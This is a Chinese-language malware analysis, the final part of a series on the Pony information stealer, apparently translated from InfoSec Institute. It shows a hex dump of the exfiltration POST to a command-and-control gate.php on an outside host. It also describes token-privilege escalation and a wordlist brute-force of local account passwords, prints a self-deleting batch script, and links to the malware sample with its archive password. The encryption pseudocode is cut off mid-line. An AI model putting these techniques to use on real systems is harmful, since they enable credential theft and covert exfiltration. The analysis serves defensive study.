这是Pony信息偷窃软件分析的第三部分也是最后一个部分(第一部分、第二部分)。我们会从上次分析剩下的地方开始:加密算法。接着,我们将看到Pony如何把加密后的数据发往服务器,然后完成恶意软件通常会做的清除痕迹工作作为结束。
利用我们在第二部分看到的反编译出来的函数创建的缓冲区,通过如下函数加密stream:
/*pseudocode*/ VOID Encrypt(UCHAR* key but,UCHAR* data,int datalen) { int ibuf = 0; for(i=0;i
服务器一旦收到数据,可以很容易通过调用相同的两个函数来解密。现在,在stream被加密之后,它的头被置为CRYPTED0。最后,stream数据被我们刚看到的相同的函数再一次加密。
在这一阶段,准备向服务器发送窃取的信息。信息以POST请求的方式发送给domain_name/panel/gate.php,然后在线服务解密了数据,并且呈现给攻击者。
以下是提取的发往服务器请求的十六进制表示:
0029EED8 50 4F 53 54|20 2F 53 75|72 65 2F 70|61 6E 65 6C| POST /Sure/panel 0029EEE8 2F 2F 67 61|74 65 2E 70|68 70 20 48|54 54 50 2F| //gate.php HTTP/ 0029EEF8 31 2E 30 0D|0A 48 6F 73|74 3A 20 68|65 72 69 74| 1.0 Host: herit 0029EF08 61 67 65 69|62 6E 2E 63|6F 6D 0D 0A|41 63 63 65| ageibn.com Acce 0029EF18 70 74 3A 20|2A 2F 2A 0D|0A 41 63 63|65 70 74 2D| pt: */* Accept- 0029EF28 45 6E 63 6F|64 69 6E 67|3A 20 69 64|65 6E 74 69| Encoding: identi 0029EF38 74 79 2C 20|2A 3B 71 3D|30 0D 0A 41|63 63 65 70| ty, *;q=0 Accep 0029EF48 74 2D 4C 61|6E 67 75 61|67 65 3A 20|65 6E 2D 55| t-Language: en-U 0029EF58 53 0D 0A 43|6F 6E 74 65|6E 74 2D 4C|65 6E 67 74| S Content-Lengt 0029EF68 68 3A 20 31|38 30 0D 0A|43 6F 6E 74|65 6E 74 2D| h: 180 Content- 0029EF78 54 79 70 65|3A 20 61 70|70 6C 69 63|61 74 69 6F| Type: applicatio 0029EF88 6E 2F 6F 63|74 65 74 2D|73 74 72 65|61 6D 0D 0A| n/octet-stream 0029EF98 43 6F 6E 6E|65 63 74 69|6F 6E 3A 20|63 6C 6F 73| Connection: clos 0029EFA8 65 0D 0A 43|6F 6E 74 65|6E 74 2D 45|6E 63 6F 64| e Content-Encod 0029EFB8 69 6E 67 3A|20 62 69 6E|61 72 79 0D|0A 55 73 65| ing: binary Use 0029EFC8 72 2D 41 67|65 6E 74 3A|20 4D 6F 7A|69 6C 6C 61| r-Agent: Mozilla 0029EFD8 2F 34 2E 30|20 28 63 6F|6D 70 61 74|69 62 6C 65| /4.0 (compatible 0029EFE8 3B 20 4D 53|49 45 20 37|2E 30 3B 20|57 69 6E 64| ; MSIE 7.0; Wind 0029EFF8 6F 77 73 20|4E 54 20 36|2E 31 3B 20|54 72 69 64| ows NT 6.1; Trid 0029F008 65 6E 74 2F|34 2E 30 3B|20 53 4C 43|43 32 3B 20| ent/4.0; SLCC2; 0029F018 2E 4E 45 54|20 43 4C 52|20 32 2E 30|2E 35 30 37| .NET CLR 2.0.507 0029F028 32 37 3B 20|2E 4E 45 54|20 43 4C 52|20 33 2E 35| 27; .NET CLR 3.5 0029F038 2E 33 30 37|32 39 3B 20|2E 4E 45 54|20 43 4C 52| .30729; .NET CLR 0029F048 20 33 2E 30|2E 33 30 37|32 39 3B 20|4D 65 64 69| 3.0.30729; Medi 0029F058 61 20 43 65|6E 74 65 72|20 50 43 20|36 2E 30 29| a Center PC 6.0) 0029F068 0D 0A 0D 0A|00
在头部被成功发送后,Pony会发送加密的数据到服务器。最后,存储加密数据的stream被释放。
还不清楚,为什么恶意软件的作者选择单独执行这一任务。他本可以在回调函数表中包含一个负责窃取本地计算机账号凭证的函数。相反,它选择后面做这项工作,并再一次压缩、加密然后单独发送账户登录凭证。
Pony修改权限令牌,加入以下的权限:
SeImpersonatePrivilege SeTcbPrivilege SeChangeNotifyPrivilege SeBackupPrivilege SeRestorePrivilege SeIncreaseQuotaPrivilege SeAssignPrimaryTokenPrivilege
这些权限通过如下方式一个一个地添加进去:
1、调用LookupPrivilegeValueA查找权限的LUID。
2、以TOKEN_ADJUST_PRIVILEGES方式调用OpenProcessToken打开当前进程。
3、最终调用AdjustTokenPrivileges把权限加入到进程的令牌中。
必须修改令牌,使得当前线程能够模拟其它用户的账户。
下一步是,获取机器上的所有用户(用户名):通过调用NetUserEnum API来完成(在我的分析环境中,用户是“Administrator”和“Guest”)。Pony开始使用一个单词表暴力破解账户的密码。流程如下所示:
1、在我的分析环境中,样本首先暴力破解Guest账户的密码。
2、首先,它尝试不提供任何密码利用LogonUserA API来登录。
3、如果上一步失败了,它提供一个小写的用户名作为密码调用相同的API。
4、如果前一次尝试没有成功,Pony就会使用在它窃取信息之前从内存中解密出来(请参考这个系列分析报告的第一部分)的单词表(存储在0x00417F27)。迭代每一个单词,作为密码传给LogonUserA API。
5、如果调用LogonUserA成功,意味着密码是正确的。偷窃软件以前面的方式加密用户名和口令并把它们发给服务器。
6、现在,不管调用LogonUserA成功还是失败,样本都转移到下一个账户,重复上面的步骤。
恶意软件最后调用一个函数(0x004108C9),从硬盘中删除自己。下面是自删除的实现方法:
1、生成一个名称随机的.bat文件名称。比如:72022703.bat。
2、使用GetModuleFileName API来获取样本的可执行文件的全路径。
3、然后函数调用GetTempPathA API获取临时文件夹的路径,比如:C:/Users/me/AppData/Local/Temp
4、接着,把如下批处理脚本写到文件中:
:ktk del %1 if exist %1 goto ktk del %0
5、加载shell32.dll,使用GetProcAddress函数获取ShellExecuteA的地址并调用,传递下面的参数。
6、以这样的形式调用ShellExecuteA API:
ShellExecuteA(NULL,”open”,”C:/Users/SONY/AppData/Local/Temp/72022703.bat”,”C:/Users/me/Desktop/pony.exe”,NULL,NULL);
正如你所看到的,恶意软件的可执行文件的路径以参数的方式传递给批处理脚本,脚本所做的是简单地删除它。现在,除了用户的信息被窃走以为,电脑又变干净了。
在这个系列中,我们仔细分析了Pony信息偷窃软件,而且阐明了它是怎样窃取个人信息,加密并将之发往远程服务器。然而,并不能说所有的信息偷窃软件都是这么干的。正如这个系列文章的标题暗示的一样:这个分析只针对一个我们拿到了的信息偷窃软件样例。
第一篇文章
第二篇文章
样本链接, 压缩包的密码是:pony
* 原文: infosecinstitute ,FB小编felix编译,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)